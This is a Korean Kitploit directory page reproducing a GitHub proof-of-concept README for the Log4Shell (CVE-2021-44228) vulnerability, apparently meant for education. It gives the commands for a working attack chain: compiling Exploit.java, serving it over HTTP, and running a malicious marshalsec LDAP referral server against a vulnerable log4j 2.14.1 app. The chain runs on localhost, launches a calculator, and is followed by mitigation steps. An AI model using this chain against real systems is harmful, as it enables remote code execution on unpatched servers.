Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228-PoC — CVE-2021-44228 (Log4Shell) 개념 증명 | Kitploit
도구/GitHubGitHub/sunnyvale-it/cve-2021-44228-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubsunnyvale-it/cve-2021-44228-poc

CVE-2021-44228-PoC

CVE-2021-44228 (Log4Shell) 개념 증명

저장소 보기
8544년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228 (Log4Shell) 개념 증명

Apache Log4j2 <=2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다.

고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다.

사전 요구 사항

  • Git
  • JDK 11
  • Maven
  • Python

현재 임의 코드는 macOS 또는 Windows에서 계산기 애플리케이션을 실행하므로 이 PoC는 이 두 운영 체제만 지원합니다.

면책 조항

모든 정보와 코드는 교육 목적 및/또는 이 취약점에 대한 자체 시스템 테스트를 위해 제공됩니다.

공격 기술

이 PoC는 아래 그림에 설명된 것과 유사합니다(출처: GovCERT.ch). 취약한 서버는 단순성을 위해 단순한 Java 클래스일 뿐입니다. 이 취약점은 다양한 방식으로 트리거될 수 있다는 점을 이해하는 것이 중요하며, 아래 설명된 것은 그 중 하나에 불과합니다.

PoC 실행 방법

root@kitploit:~
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git

익스플로잇 컴파일 (JDK 11 사용)

root@kitploit:~
terminal1 $ javac Exploit.java

익스플로잇을 제공할 HTTP 서버 실행

root@kitploit:~
terminal1 $ python -m SimpleHTTPServer 8888 --directory .

악성 LDAPRefServer 시작 (https://github.com/mbechler/marshalsec 감사)

root@kitploit:~
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

취약한 애플리케이션 실행 (log4j 2.14.1 포함)

root@kitploit:~
terminal3 $ mvn package && mvn exec:exec

모든 것이 정상적으로 진행되면 계산기 애플리케이션(임의 코드 실행)이 나타납니다.

빠른 완화 조치 (Log4J 버전 2.10.0 ~ 2.14.1에 적용)

LOG4J_FORMAT_MSG_NO_LOOKUPS 환경 변수를 true로 설정

root@kitploit:~
terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 
root@kitploit:~
terminal3 $ mvn package && mvn exec:exec

이 경우 계산기가 더 이상 나타나지 않아야 합니다.

log4j2.formatMsgNoLookups 시스템 속성을 true로 설정하여 애플리케이션 실행

root@kitploit:~
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true

이 경우 계산기가 더 이상 나타나지 않아야 합니다.

도구 다운로드